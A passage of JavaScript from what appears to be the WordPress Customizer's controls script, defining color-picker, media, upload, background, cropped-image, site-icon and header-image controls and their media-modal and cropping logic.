			control.section.bind( onSectionAssigned );
			onSectionAssigned( control.section.get() );
			control.notifications.bind( 'change', _.debounce( renderNotificationsIfVisible ) );
		},

		/**
		 * Render notifications.
		 *
		 * Renders the `control.notifications` into the control's container.
		 * Control subclasses may override this method to do their own handling
		 * of rendering notifications.
		 *
		 * @deprecated in favor of `control.notifications.render()`
		 * @since 4.6.0
		 * @this {wp.customize.Control}
		 */
		renderNotifications: function() {
			var control = this, container, notifications, hasError = false;

			if ( 'undefined' !== typeof console && console.warn ) {
				console.warn( '[DEPRECATED] wp.customize.Control.prototype.renderNotifications() is deprecated in favor of instantating a wp.customize.Notifications and calling its render() method.' );
			}

			container = control.getNotificationsContainerElement();
			if ( ! container || ! container.length ) {
				return;
			}
			notifications = [];
			control.notifications.each( function( notification ) {
				notifications.push( notification );
				if ( 'error' === notification.type ) {
					hasError = true;
				}
			} );

			if ( 0 === notifications.length ) {
				container.stop().slideUp( 'fast' );
			} else {
				container.stop().slideDown( 'fast', null, function() {
					$( this ).css( 'height', 'auto' );
				} );
			}

			if ( ! control.notificationsTemplate ) {
				control.notificationsTemplate = wp.template( 'customize-control-notifications' );
			}

			control.container.toggleClass( 'has-notifications', 0 !== notifications.length );
			control.container.toggleClass( 'has-error', hasError );
			container.empty().append(
				control.notificationsTemplate( { notifications: notifications, altNotice: Boolean( control.altNotice ) } ).trim()
			);
		},

		/**
		 * Normal controls do not expand, so just expand its parent
		 *
		 * @param {Object} [params]
		 */
		expand: function ( params ) {
			api.section( this.section() ).expand( params );
		},

		/*
		 * Documented using @borrows in the constructor.
		 */
		focus: focus,

		/**
		 * Update UI in response to a change in the control's active state.
		 * This does not change the active state, it merely handles the behavior
		 * for when it does change.
		 *
		 * @since 4.1.0
		 *
		 * @param {boolean}  active
		 * @param {Object}   args
		 * @param {number}   args.duration
		 * @param {Function} args.completeCallback
		 */
		onChangeActive: function ( active, args ) {
			if ( args.unchanged ) {
				if ( args.completeCallback ) {
					args.completeCallback();
				}
				return;
			}

			if ( ! $.contains( document, this.container[0] ) ) {
				// jQuery.fn.slideUp is not hiding an element if it is not in the DOM.
				this.container.toggle( active );
				if ( args.completeCallback ) {
					args.completeCallback();
				}
			} else if ( active ) {
				this.container.slideDown( args.duration, args.completeCallback );
			} else {
				this.container.slideUp( args.duration, args.completeCallback );
			}
		},

		/**
		 * @deprecated 4.1.0 Use this.onChangeActive() instead.
		 */
		toggle: function ( active ) {
			return this.onChangeActive( active, this.defaultActiveArguments );
		},

		/*
		 * Documented using @borrows in the constructor
		 */
		activate: Container.prototype.activate,

		/*
		 * Documented using @borrows in the constructor
		 */
		deactivate: Container.prototype.deactivate,

		/*
		 * Documented using @borrows in the constructor
		 */
		_toggleActive: Container.prototype._toggleActive,

		// @todo This function appears to be dead code and can be removed.
		dropdownInit: function() {
			var control      = this,
				statuses     = this.container.find('.dropdown-status'),
				params       = this.params,
				toggleFreeze = false,
				update       = function( to ) {
					if ( 'string' === typeof to && params.statuses && params.statuses[ to ] ) {
						statuses.html( params.statuses[ to ] ).show();
					} else {
						statuses.hide();
					}
				};

			// Support the .dropdown class to open/close complex elements.
			this.container.on( 'click keydown', '.dropdown', function( event ) {
				if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
					return;
				}

				event.preventDefault();

				if ( ! toggleFreeze ) {
					control.container.toggleClass( 'open' );
				}

				if ( control.container.hasClass( 'open' ) ) {
					control.container.parent().parent().find( 'li.library-selected' ).focus();
				}

				// Don't want to fire focus and click at same time.
				toggleFreeze = true;
				setTimeout(function () {
					toggleFreeze = false;
				}, 400);
			});

			this.setting.bind( update );
			update( this.setting() );
		},

		/**
		 * Render the control from its JS template, if it exists.
		 *
		 * The control's container must already exist in the DOM.
		 *
		 * @since 4.1.0
		 */
		renderContent: function () {
			var control = this, template, standardTypes, templateId, sectionId;

			standardTypes = [
				'button',
				'checkbox',
				'date',
				'datetime-local',
				'email',
				'month',
				'number',
				'password',
				'radio',
				'range',
				'search',
				'select',
				'tel',
				'time',
				'text',
				'textarea',
				'week',
				'url'
			];

			templateId = control.templateSelector;

			// Use default content template when a standard HTML type is used,
			// there isn't a more specific template existing, and the control container is empty.
			if ( templateId === 'customize-control-' + control.params.type + '-content' &&
				_.contains( standardTypes, control.params.type ) &&
				! document.getElementById( 'tmpl-' + templateId ) &&
				0 === control.container.children().length )
			{
				templateId = 'customize-control-default-content';
			}

			// Replace the container element's content with the control.
			if ( document.getElementById( 'tmpl-' + templateId ) ) {
				template = wp.template( templateId );
				if ( template && control.container ) {
					control.container.html( template( control.params ) );
				}
			}

			// Re-render notifications after content has been re-rendered.
			control.notifications.container = control.getNotificationsContainerElement();
			sectionId = control.section();
			if ( ! sectionId || ( api.section.has( sectionId ) && api.section( sectionId ).expanded() ) ) {
				control.notifications.render();
			}
		},

		/**
		 * Add a new page to a dropdown-pages control reusing menus code for this.
		 *
		 * @since 4.7.0
		 * @access private
		 *
		 * @return {void}
		 */
		addNewPage: function () {
			var control = this, promise, toggle, container, input, title, select;

			if ( 'dropdown-pages' !== control.params.type || ! control.params.allow_addition || ! api.Menus ) {
				return;
			}

			toggle = control.container.find( '.add-new-toggle' );
			container = control.container.find( '.new-content-item' );
			input = control.container.find( '.create-item-input' );
			title = input.val();
			select = control.container.find( 'select' );

			if ( ! title ) {
				input.addClass( 'invalid' );
				return;
			}

			input.removeClass( 'invalid' );
			input.attr( 'disabled', 'disabled' );

			// The menus functions add the page, publish when appropriate,
			// and also add the new page to the dropdown-pages controls.
			promise = api.Menus.insertAutoDraftPost( {
				post_title: title,
				post_type: 'page'
			} );
			promise.done( function( data ) {
				var availableItem, $content, itemTemplate;

				// Prepare the new page as an available menu item.
				// See api.Menus.submitNew().
				availableItem = new api.Menus.AvailableItemModel( {
					'id': 'post-' + data.post_id, // Used for available menu item Backbone models.
					'title': title,
					'type': 'post_type',
					'type_label': api.Menus.data.l10n.page_label,
					'object': 'page',
					'object_id': data.post_id,
					'url': data.url
				} );

				// Add the new item to the list of available menu items.
				api.Menus.availableMenuItemsPanel.collection.add( availableItem );
				$content = $( '#available-menu-items-post_type-page' ).find( '.available-menu-items-list' );
				itemTemplate = wp.template( 'available-menu-item' );
				$content.prepend( itemTemplate( availableItem.attributes ) );

				// Focus the select control.
				select.focus();
				control.setting.set( String( data.post_id ) ); // Triggers a preview refresh and updates the setting.

				// Reset the create page form.
				container.slideUp( 180 );
				toggle.slideDown( 180 );
			} );
			promise.always( function() {
				input.val( '' ).removeAttr( 'disabled' );
			} );
		}
	});

	/**
	 * A colorpicker control.
	 *
	 * @class    wp.customize.ColorControl
	 * @augments wp.customize.Control
	 */
	api.ColorControl = api.Control.extend(/** @lends wp.customize.ColorControl.prototype */{
		ready: function() {
			var control = this,
				isHueSlider = this.params.mode === 'hue',
				updating = false,
				picker;

			if ( isHueSlider ) {
				picker = this.container.find( '.color-picker-hue' );
				picker.val( control.setting() ).wpColorPicker({
					change: function( event, ui ) {
						updating = true;
						control.setting( ui.color.h() );
						updating = false;
					}
				});
			} else {
				picker = this.container.find( '.color-picker-hex' );
				picker.val( control.setting() ).wpColorPicker({
					change: function() {
						updating = true;
						control.setting.set( picker.wpColorPicker( 'color' ) );
						updating = false;
					},
					clear: function() {
						updating = true;
						control.setting.set( '' );
						updating = false;
					}
				});
			}

			control.setting.bind( function ( value ) {
				// Bail if the update came from the control itself.
				if ( updating ) {
					return;
				}
				picker.val( value );
				picker.wpColorPicker( 'color', value );
			} );

			// Collapse color picker when hitting Esc instead of collapsing the current section.
			control.container.on( 'keydown', function( event ) {
				var pickerContainer;
				if ( 27 !== event.which ) { // Esc.
					return;
				}
				pickerContainer = control.container.find( '.wp-picker-container' );
				if ( pickerContainer.hasClass( 'wp-picker-active' ) ) {
					picker.wpColorPicker( 'close' );
					control.container.find( '.wp-color-result' ).focus();
					event.stopPropagation(); // Prevent section from being collapsed.
				}
			} );
		}
	});

	/**
	 * A control that implements the media modal.
	 *
	 * @class    wp.customize.MediaControl
	 * @augments wp.customize.Control
	 */
	api.MediaControl = api.Control.extend(/** @lends wp.customize.MediaControl.prototype */{

		/**
		 * When the control's DOM structure is ready,
		 * set up internal event bindings.
		 */
		ready: function() {
			var control = this;
			// Shortcut so that we don't have to use _.bind every time we add a callback.
			_.bindAll( control, 'restoreDefault', 'removeFile', 'openFrame', 'select', 'pausePlayer' );

			// Bind events, with delegation to facilitate re-rendering.
			control.container.on( 'click keydown', '.upload-button', control.openFrame );
			control.container.on( 'click keydown', '.upload-button', control.pausePlayer );
			control.container.on( 'click keydown', '.thumbnail-image img', control.openFrame );
			control.container.on( 'click keydown', '.default-button', control.restoreDefault );
			control.container.on( 'click keydown', '.remove-button', control.pausePlayer );
			control.container.on( 'click keydown', '.remove-button', control.removeFile );
			control.container.on( 'click keydown', '.remove-button', control.cleanupPlayer );

			// Resize the player controls when it becomes visible (ie when section is expanded).
			api.section( control.section() ).container
				.on( 'expanded', function() {
					if ( control.player ) {
						control.player.setControlsSize();
					}
				})
				.on( 'collapsed', function() {
					control.pausePlayer();
				});

			/**
			 * Set attachment data and render content.
			 *
			 * Note that BackgroundImage.prototype.ready applies this ready method
			 * to itself. Since BackgroundImage is an UploadControl, the value
			 * is the attachment URL instead of the attachment ID. In this case
			 * we skip fetching the attachment data because we have no ID available,
			 * and it is the responsibility of the UploadControl to set the control's
			 * attachmentData before calling the renderContent method.
			 *
			 * @param {number|string} value Attachment
			 */
			function setAttachmentDataAndRenderContent( value ) {
				var hasAttachmentData = $.Deferred();

				if ( control.extended( api.UploadControl ) ) {
					hasAttachmentData.resolve();
				} else {
					value = parseInt( value, 10 );
					if ( _.isNaN( value ) || value <= 0 ) {
						delete control.params.attachment;
						hasAttachmentData.resolve();
					} else if ( control.params.attachment && control.params.attachment.id === value ) {
						hasAttachmentData.resolve();
					}
				}

				// Fetch the attachment data.
				if ( 'pending' === hasAttachmentData.state() ) {
					wp.media.attachment( value ).fetch().done( function() {
						control.params.attachment = this.attributes;
						hasAttachmentData.resolve();

						// Send attachment information to the preview for possible use in `postMessage` transport.
						wp.customize.previewer.send( control.setting.id + '-attachment-data', this.attributes );
					} );
				}

				hasAttachmentData.done( function() {
					control.renderContent();
				} );
			}

			// Ensure attachment data is initially set (for dynamically-instantiated controls).
			setAttachmentDataAndRenderContent( control.setting() );

			// Update the attachment data and re-render the control when the setting changes.
			control.setting.bind( setAttachmentDataAndRenderContent );
		},

		pausePlayer: function () {
			this.player && this.player.pause();
		},

		cleanupPlayer: function () {
			this.player && wp.media.mixin.removePlayer( this.player );
		},

		/**
		 * Open the media modal.
		 */
		openFrame: function( event ) {
			if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
				return;
			}

			event.preventDefault();

			if ( ! this.frame ) {
				this.initFrame();
			}

			this.frame.open();
		},

		/**
		 * Create a media modal select frame, and store it so the instance can be reused when needed.
		 */
		initFrame: function() {
			this.frame = wp.media({
				button: {
					text: this.params.button_labels.frame_button
				},
				states: [
					new wp.media.controller.Library({
						title:     this.params.button_labels.frame_title,
						library:   wp.media.query({ type: this.params.mime_type }),
						multiple:  false,
						date:      false
					})
				]
			});

			// When a file is selected, run a callback.
			this.frame.on( 'select', this.select );
		},

		/**
		 * Callback handler for when an attachment is selected in the media modal.
		 * Gets the selected image information, and sets it within the control.
		 */
		select: function() {
			// Get the attachment from the modal frame.
			var node,
				attachment = this.frame.state().get( 'selection' ).first().toJSON(),
				mejsSettings = window._wpmejsSettings || {};

			this.params.attachment = attachment;

			// Set the Customizer setting; the callback takes care of rendering.
			this.setting( attachment.id );
			node = this.container.find( 'audio, video' ).get(0);

			// Initialize audio/video previews.
			if ( node ) {
				this.player = new MediaElementPlayer( node, mejsSettings );
			} else {
				this.cleanupPlayer();
			}
		},

		/**
		 * Reset the setting to the default value.
		 */
		restoreDefault: function( event ) {
			if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
				return;
			}
			event.preventDefault();

			this.params.attachment = this.params.defaultAttachment;
			this.setting( this.params.defaultAttachment.url );
		},

		/**
		 * Called when the "Remove" link is clicked. Empties the setting.
		 *
		 * @param {Object} event jQuery Event object
		 */
		removeFile: function( event ) {
			if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
				return;
			}
			event.preventDefault();

			this.params.attachment = {};
			this.setting( '' );
			this.renderContent(); // Not bound to setting change when emptying.
		}
	});

	/**
	 * An upload control, which utilizes the media modal.
	 *
	 * @class    wp.customize.UploadControl
	 * @augments wp.customize.MediaControl
	 */
	api.UploadControl = api.MediaControl.extend(/** @lends wp.customize.UploadControl.prototype */{

		/**
		 * Callback handler for when an attachment is selected in the media modal.
		 * Gets the selected image information, and sets it within the control.
		 */
		select: function() {
			// Get the attachment from the modal frame.
			var node,
				attachment = this.frame.state().get( 'selection' ).first().toJSON(),
				mejsSettings = window._wpmejsSettings || {};

			this.params.attachment = attachment;

			// Set the Customizer setting; the callback takes care of rendering.
			this.setting( attachment.url );
			node = this.container.find( 'audio, video' ).get(0);

			// Initialize audio/video previews.
			if ( node ) {
				this.player = new MediaElementPlayer( node, mejsSettings );
			} else {
				this.cleanupPlayer();
			}
		},

		// @deprecated
		success: function() {},

		// @deprecated
		removerVisibility: function() {}
	});

	/**
	 * A control for uploading images.
	 *
	 * This control no longer needs to do anything more
	 * than what the upload control does in JS.
	 *
	 * @class    wp.customize.ImageControl
	 * @augments wp.customize.UploadControl
	 */
	api.ImageControl = api.UploadControl.extend(/** @lends wp.customize.ImageControl.prototype */{
		// @deprecated
		thumbnailSrc: function() {}
	});

	/**
	 * A control for uploading background images.
	 *
	 * @class    wp.customize.BackgroundControl
	 * @augments wp.customize.UploadControl
	 */
	api.BackgroundControl = api.UploadControl.extend(/** @lends wp.customize.BackgroundControl.prototype */{

		/**
		 * When the control's DOM structure is ready,
		 * set up internal event bindings.
		 */
		ready: function() {
			api.UploadControl.prototype.ready.apply( this, arguments );
		},

		/**
		 * Callback handler for when an attachment is selected in the media modal.
		 * Does an additional Ajax request for setting the background context.
		 */
		select: function() {
			api.UploadControl.prototype.select.apply( this, arguments );

			wp.ajax.post( 'custom-background-add', {
				nonce: _wpCustomizeBackground.nonces.add,
				wp_customize: 'on',
				customize_theme: api.settings.theme.stylesheet,
				attachment_id: this.params.attachment.id
			} );
		}
	});

	/**
	 * A control for positioning a background image.
	 *
	 * @since 4.7.0
	 *
	 * @class    wp.customize.BackgroundPositionControl
	 * @augments wp.customize.Control
	 */
	api.BackgroundPositionControl = api.Control.extend(/** @lends wp.customize.BackgroundPositionControl.prototype */{

		/**
		 * Set up control UI once embedded in DOM and settings are created.
		 *
		 * @since 4.7.0
		 * @access public
		 */
		ready: function() {
			var control = this, updateRadios;

			control.container.on( 'change', 'input[name="background-position"]', function() {
				var position = $( this ).val().split( ' ' );
				control.settings.x( position[0] );
				control.settings.y( position[1] );
			} );

			updateRadios = _.debounce( function() {
				var x, y, radioInput, inputValue;
				x = control.settings.x.get();
				y = control.settings.y.get();
				inputValue = String( x ) + ' ' + String( y );
				radioInput = control.container.find( 'input[name="background-position"][value="' + inputValue + '"]' );
				radioInput.trigger( 'click' );
			} );
			control.settings.x.bind( updateRadios );
			control.settings.y.bind( updateRadios );

			updateRadios(); // Set initial UI.
		}
	} );

	/**
	 * A control for selecting and cropping an image.
	 *
	 * @class    wp.customize.CroppedImageControl
	 * @augments wp.customize.MediaControl
	 */
	api.CroppedImageControl = api.MediaControl.extend(/** @lends wp.customize.CroppedImageControl.prototype */{

		/**
		 * Open the media modal to the library state.
		 */
		openFrame: function( event ) {
			if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
				return;
			}

			this.initFrame();
			this.frame.setState( 'library' ).open();
		},

		/**
		 * Create a media modal select frame, and store it so the instance can be reused when needed.
		 */
		initFrame: function() {
			var l10n = _wpMediaViewsL10n;

			this.frame = wp.media({
				button: {
					text: l10n.select,
					close: false
				},
				states: [
					new wp.media.controller.Library({
						title: this.params.button_labels.frame_title,
						library: wp.media.query({ type: 'image' }),
						multiple: false,
						date: false,
						priority: 20,
						suggestedWidth: this.params.width,
						suggestedHeight: this.params.height
					}),
					new wp.media.controller.CustomizeImageCropper({
						imgSelectOptions: this.calculateImageSelectOptions,
						control: this
					})
				]
			});

			this.frame.on( 'select', this.onSelect, this );
			this.frame.on( 'cropped', this.onCropped, this );
			this.frame.on( 'skippedcrop', this.onSkippedCrop, this );
		},

		/**
		 * After an image is selected in the media modal, switch to the cropper
		 * state if the image isn't the right size.
		 */
		onSelect: function() {
			var attachment = this.frame.state().get( 'selection' ).first().toJSON();

			if ( this.params.width === attachment.width && this.params.height === attachment.height && ! this.params.flex_width && ! this.params.flex_height ) {
				this.setImageFromAttachment( attachment );
				this.frame.close();
			} else {
				this.frame.setState( 'cropper' );
			}
		},

		/**
		 * After the image has been cropped, apply the cropped image data to the setting.
		 *
		 * @param {Object} croppedImage Cropped attachment data.
		 */
		onCropped: function( croppedImage ) {
			this.setImageFromAttachment( croppedImage );
		},

		/**
		 * Returns a set of options, computed from the attached image data and
		 * control-specific data, to be fed to the imgAreaSelect plugin in
		 * wp.media.view.Cropper.
		 *
		 * @param {wp.media.model.Attachment} attachment
		 * @param {wp.media.controller.Cropper} controller
		 * @return {Object} Options
		 */
		calculateImageSelectOptions: function( attachment, controller ) {
			var control    = controller.get( 'control' ),
				flexWidth  = !! parseInt( control.params.flex_width, 10 ),
				flexHeight = !! parseInt( control.params.flex_height, 10 ),
				realWidth  = attachment.get( 'width' ),
				realHeight = attachment.get( 'height' ),
				xInit = parseInt( control.params.width, 10 ),
				yInit = parseInt( control.params.height, 10 ),
				ratio = xInit / yInit,
				xImg  = xInit,
				yImg  = yInit,
				x1, y1, imgSelectOptions;

			controller.set( 'canSkipCrop', ! control.mustBeCropped( flexWidth, flexHeight, xInit, yInit, realWidth, realHeight ) );

			if ( realWidth / realHeight > ratio ) {
				yInit = realHeight;
				xInit = yInit * ratio;
			} else {
				xInit = realWidth;
				yInit = xInit / ratio;
			}

			x1 = ( realWidth - xInit ) / 2;
			y1 = ( realHeight - yInit ) / 2;

			imgSelectOptions = {
				handles: true,
				keys: true,
				instance: true,
				persistent: true,
				imageWidth: realWidth,
				imageHeight: realHeight,
				minWidth: xImg > xInit ? xInit : xImg,
				minHeight: yImg > yInit ? yInit : yImg,
				x1: x1,
				y1: y1,
				x2: xInit + x1,
				y2: yInit + y1
			};

			if ( flexHeight === false && flexWidth === false ) {
				imgSelectOptions.aspectRatio = xInit + ':' + yInit;
			}

			if ( true === flexHeight ) {
				delete imgSelectOptions.minHeight;
				imgSelectOptions.maxWidth = realWidth;
			}

			if ( true === flexWidth ) {
				delete imgSelectOptions.minWidth;
				imgSelectOptions.maxHeight = realHeight;
			}

			return imgSelectOptions;
		},

		/**
		 * Return whether the image must be cropped, based on required dimensions.
		 *
		 * @param {boolean} flexW
		 * @param {boolean} flexH
		 * @param {number}  dstW
		 * @param {number}  dstH
		 * @param {number}  imgW
		 * @param {number}  imgH
		 * @return {boolean}
		 */
		mustBeCropped: function( flexW, flexH, dstW, dstH, imgW, imgH ) {
			if ( true === flexW && true === flexH ) {
				return false;
			}

			if ( true === flexW && dstH === imgH ) {
				return false;
			}

			if ( true === flexH && dstW === imgW ) {
				return false;
			}

			if ( dstW === imgW && dstH === imgH ) {
				return false;
			}

			if ( imgW <= dstW ) {
				return false;
			}

			return true;
		},

		/**
		 * If cropping was skipped, apply the image data directly to the setting.
		 */
		onSkippedCrop: function() {
			var attachment = this.frame.state().get( 'selection' ).first().toJSON();
			this.setImageFromAttachment( attachment );
		},

		/**
		 * Updates the setting and re-renders the control UI.
		 *
		 * @param {Object} attachment
		 */
		setImageFromAttachment: function( attachment ) {
			this.params.attachment = attachment;

			// Set the Customizer setting; the callback takes care of rendering.
			this.setting( attachment.id );
		}
	});

	/**
	 * A control for selecting and cropping Site Icons.
	 *
	 * @class    wp.customize.SiteIconControl
	 * @augments wp.customize.CroppedImageControl
	 */
	api.SiteIconControl = api.CroppedImageControl.extend(/** @lends wp.customize.SiteIconControl.prototype */{

		/**
		 * Create a media modal select frame, and store it so the instance can be reused when needed.
		 */
		initFrame: function() {
			var l10n = _wpMediaViewsL10n;

			this.frame = wp.media({
				button: {
					text: l10n.select,
					close: false
				},
				states: [
					new wp.media.controller.Library({
						title: this.params.button_labels.frame_title,
						library: wp.media.query({ type: 'image' }),
						multiple: false,
						date: false,
						priority: 20,
						suggestedWidth: this.params.width,
						suggestedHeight: this.params.height
					}),
					new wp.media.controller.SiteIconCropper({
						imgSelectOptions: this.calculateImageSelectOptions,
						control: this
					})
				]
			});

			this.frame.on( 'select', this.onSelect, this );
			this.frame.on( 'cropped', this.onCropped, this );
			this.frame.on( 'skippedcrop', this.onSkippedCrop, this );
		},

		/**
		 * After an image is selected in the media modal, switch to the cropper
		 * state if the image isn't the right size.
		 */
		onSelect: function() {
			var attachment = this.frame.state().get( 'selection' ).first().toJSON(),
				controller = this;

			if ( this.params.width === attachment.width && this.params.height === attachment.height && ! this.params.flex_width && ! this.params.flex_height ) {
				wp.ajax.post( 'crop-image', {
					nonce: attachment.nonces.edit,
					id: attachment.id,
					context: 'site-icon',
					cropDetails: {
						x1: 0,
						y1: 0,
						width: this.params.width,
						height: this.params.height,
						dst_width: this.params.width,
						dst_height: this.params.height
					}
				} ).done( function( croppedImage ) {
					controller.setImageFromAttachment( croppedImage );
					controller.frame.close();
				} ).fail( function() {
					controller.frame.trigger('content:error:crop');
				} );
			} else {
				this.frame.setState( 'cropper' );
			}
		},

		/**
		 * Updates the setting and re-renders the control UI.
		 *
		 * @param {Object} attachment
		 */
		setImageFromAttachment: function( attachment ) {
			var sizes = [ 'site_icon-32', 'thumbnail', 'full' ], link,
				icon;

			_.each( sizes, function( size ) {
				if ( ! icon && ! _.isUndefined ( attachment.sizes[ size ] ) ) {
					icon = attachment.sizes[ size ];
				}
			} );

			this.params.attachment = attachment;

			// Set the Customizer setting; the callback takes care of rendering.
			this.setting( attachment.id );

			if ( ! icon ) {
				return;
			}

			// Update the icon in-browser.
			link = $( 'link[rel="icon"][sizes="32x32"]' );
			link.attr( 'href', icon.url );
		},

		/**
		 * Called when the "Remove" link is clicked. Empties the setting.
		 *
		 * @param {Object} event jQuery Event object
		 */
		removeFile: function( event ) {
			if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
				return;
			}
			event.preventDefault();

			this.params.attachment = {};
			this.setting( '' );
			this.renderContent(); // Not bound to setting change when emptying.
			$( 'link[rel="icon"][sizes="32x32"]' ).attr( 'href', '/favicon.ico' ); // Set to default.
		}
	});

	/**
	 * @class    wp.customize.HeaderControl
	 * @augments wp.customize.Control
	 */
	api.HeaderControl = api.Control.extend(/** @lends wp.customize.HeaderControl.prototype */{
		ready: function() {
			this.btnRemove = $('#customize-control-header_image .actions .remove');
			this.btnNew    = $('#customize-control-header_image .actions .new');

			_.bindAll(this, 'openMedia', 'removeImage');

			this.btnNew.on( 'click', this.openMedia );
			this.btnRemove.on( 'click', this.removeImage );

			api.HeaderTool.currentHeader = this.getInitialHeaderImage();

			new api.HeaderTool.CurrentView({
				model: api.HeaderTool.currentHeader,
				el: '#customize-control-header_image .current .container'
			});

			new api.HeaderTool.ChoiceListView({
				collection: api.HeaderTool.UploadsList = new api.HeaderTool.ChoiceList(),
				el: '#customize-control-header_image .choices .uploaded .list'
			});

			new api.HeaderTool.ChoiceListView({
				collection: api.HeaderTool.DefaultsList = new api.HeaderTool.DefaultsList(),
				el: '#customize-control-header_image .choices .default .list'
			});

			api.HeaderTool.combinedList = api.HeaderTool.CombinedList = new api.HeaderTool.CombinedList([
				api.HeaderTool.UploadsList,
				api.HeaderTool.DefaultsList
			]);

			// Ensure custom-header-crop Ajax requests bootstrap the Customizer to activate the previewed theme.
			wp.media.controller.Cropper.prototype.defaults.doCropArgs.wp_customize = 'on';
			wp.media.controller.Cropper.prototype.defaults.doCropArgs.customize_theme = api.settings.theme.stylesheet;
		},

		/**
		 * Returns a new instance of api.HeaderTool.ImageModel based on the currently
		 * saved header image (if any).
		 *
		 * @since 4.2.0
		 *
		 * @return {Object} Options
		 */
		getInitialHeaderImage: function() {
			if ( ! api.get().header_image || ! api.get().header_image_data || _.contains( [ 'remove-header', 'random-default-image', 'random-uploaded-image' ], api.get().header_image ) ) {
				return new api.HeaderTool.ImageModel();
			}

			// Get the matching uploaded image object.
			var currentHeaderObject = _.find( _wpCustomizeHeader.uploads, function( imageObj ) {
				return ( imageObj.attachment_id === api.get().header_image_data.attachment_id );
			} );
			// Fall back to raw current header image.
			if ( ! currentHeaderObject ) {
				currentHeaderObject = {
					url: api.get().header_image,
					thumbnail_url: api.get().header_image,
					attachment_id: api.get().header_image_data.attachment_id
				};
			}

			return new api.HeaderTool.ImageModel({
				header: currentHeaderObject,
				choice: currentHeaderObject.url.split( '/' ).pop()
			});
		},

		/**
		 * Returns a set of options, computed from the attached image data and
		 * theme-specific data, to be fed to the imgAreaSelect plugin in
		 * wp.media.view.Cropper.
		 *
		 * @param {wp.media.model.Attachment} attachment
		 * @param {wp.media.controller.Cropper} controller
		 * @return {Object} Options
		 */
		calculateImageSelectOptions: function(attachment, controller) {
			var xInit = parseInt(_wpCustomizeHeader.data.width, 10),
				yInit = parseInt(_wpCustomizeHeader.data.height, 10),
				flexWidth = !! parseInt(_wpCustomizeHeader.data['flex-width'], 10),
				flexHeight = !! parseInt(_wpCustomizeHeader.data['flex-height'], 10),
				ratio, xImg, yImg, realHeight, realWidth,
				imgSelectOptions;

			realWidth = attachment.get('width');
			realHeight = attachment.get('height');

			this.headerImage = new api.HeaderTool.ImageModel();
			this.headerImage.set({
				themeWidth: xInit,
				themeHeight: yInit,
				themeFlexWidth: flexWidth,
				themeFlexHeight: flexHeight,
				imageWidth: realWidth,
				imageHeight: realHeight
			});

			controller.set( 'canSkipCrop', ! this.headerImage.shouldBeCropped() );

			ratio = xInit / yInit;
			xImg = realWidth;
			yImg = realHeight;

			if ( xImg / yImg > ratio ) {
				yInit = yImg;
				xInit = yInit * ratio;
			} else {
				xInit = xImg;
				yInit = xInit / ratio;
			}

			imgSelectOptions = {
				handles: true,
				keys: true,
				instance: true,
				persistent: true,
				imageWidth: realWidth,
				imageHeight: realHeight,
				x1: 0,
				y1: 0,
				x2: xInit,
				y2: yInit
			};

			if (flexHeight === false && flexWidth === false) {
				imgSelectOptions.aspectRatio = xInit + ':' + yInit;
			}
			if (flexHeight === false ) {
				imgSelectOptions.maxHeight = yInit;
			}
			if (flexWidth === false ) {
				imgSelectOptions.maxWidth = xInit;
			}

			return imgSelectOptions;
		},

		/**
		 * Sets up and opens the Media Manager in order to select an image.
		 * Depending on both the size of the image and the properties of the
		 * current theme, a cropping step after selection may be required or
		 * skippable.
		 *
		 * @param {event} event
		 */
		openMedia: function(event) {
			var l10n = _wpMediaViewsL10n;

			event.preventDefault();

			this.frame = wp.media({
				button: {
					text: l10n.selectAndCrop,
					close: false
				},
				states: [
					new wp.media.controller.Library({
						title:     l10n.chooseImage,
						library:   wp.media.query({ type: 'image' }),
						multiple:  false,
						date:      false,
						priority:  20,
						suggestedWidth: _wpCustomizeHeader.data.width,
						suggestedHeight: _wpCustomizeHeader.data.height
					}),
					new wp.media.controller.Cropper({
						imgSelectOptions: this.calculateImageSelectOptions
					})
				]
			});

			this.frame.on('select', this.onSelect, this);
			this.frame.on('cropped', this.onCropped, this);
			this.frame.on('skippedcrop', this.onSkippedCrop, this);

			this.frame.open();
		},

		/**
		 * After an image is selected in the media modal,
		 * switch to the cropper state.
		 */
		onSelect: function() {
			this.frame.setState('cropper');
		},

		/**
		 * After the image has been cropped, apply the cropped image data to the setting.
		 *
		 * @param {Object} croppedImage Cropped attachment data.
		 */
		onCropped: function(croppedImage) {
			var url = croppedImage.url,
				attachmentId = croppedImage.attachment_id,
				w = croppedImage.width,
				h = croppedImage.height;
			this.setImageFromURL(url, attachmentId, w, h);
		},

		/**
		 * If cropping was skipped, apply the image data directly to the setting.
		 *
		 * @param {Object} selection
		 */
		onSkippedCrop: function(selection) {
			var url = selection.get('url'),
				w = selection.get('width'),
				h = selection.get('height');
			this.setImageFromURL(url, selection.id, w, h);
		},

		/**
		 * Creates a new wp.customize.HeaderTool.ImageModel from provided
		 * header image data and inserts it into the user-uploaded headers
		 * collection.
		 *
		 * @param {string} url
		 * @param {number} attachmentId
		 * @param {number} width
		 * @param {number} height
		 */
		setImageFromURL: function(url, attachmentId, width, height) {
			var choice, data = {};

			data.url = url;
			data.thumbnail_url = url;
			data.timestamp = _.now();

			if (attachmentId) {
				data.attachment_id = attachmentId;
			}

			if (width) {
				data.width = width;
			}

			if (height) {
				data.height = height;
			}

			choice = new api.HeaderTool.ImageModel({
				header: data,
				choice: url.split('/').pop()
			});
			api.HeaderTool.UploadsList.add(choice);
			api.HeaderTool.currentHeader.set(choice.toJSON());
			choice.save();
			choice.importImage();
		},

		/**
		 * Triggers the necessary events to deselect an image which was set as
		 * the currently selected one.
		 */
		removeImage: function() {
			api.HeaderTool.currentHeader.trigger('hide');
			api.HeaderTool.CombinedList.trigger('control:removeImage');
		}

	});

	/**
	 * wp.customize.ThemeControl
	 *
	 * @class    wp.customize.ThemeControl
	 * @augments wp.customize.Control
	 */
	api.ThemeControl = api.Control.extend(/** @lends wp.customize.ThemeControl.prototype */{

		touchDrag: false,
		screenshotRendered: false,

		/**
		 * @since 4.2.0
		 */
		ready: function() {
			var control = this, panel = api.panel( 'themes' );

			function disableSwitchButtons() {
				return ! panel.canSwitchTheme( control.params.theme.id );
			}

			// Temporary special function since supplying SFTP credentials does not work yet. See #42184.
			function disableInstallButtons() {
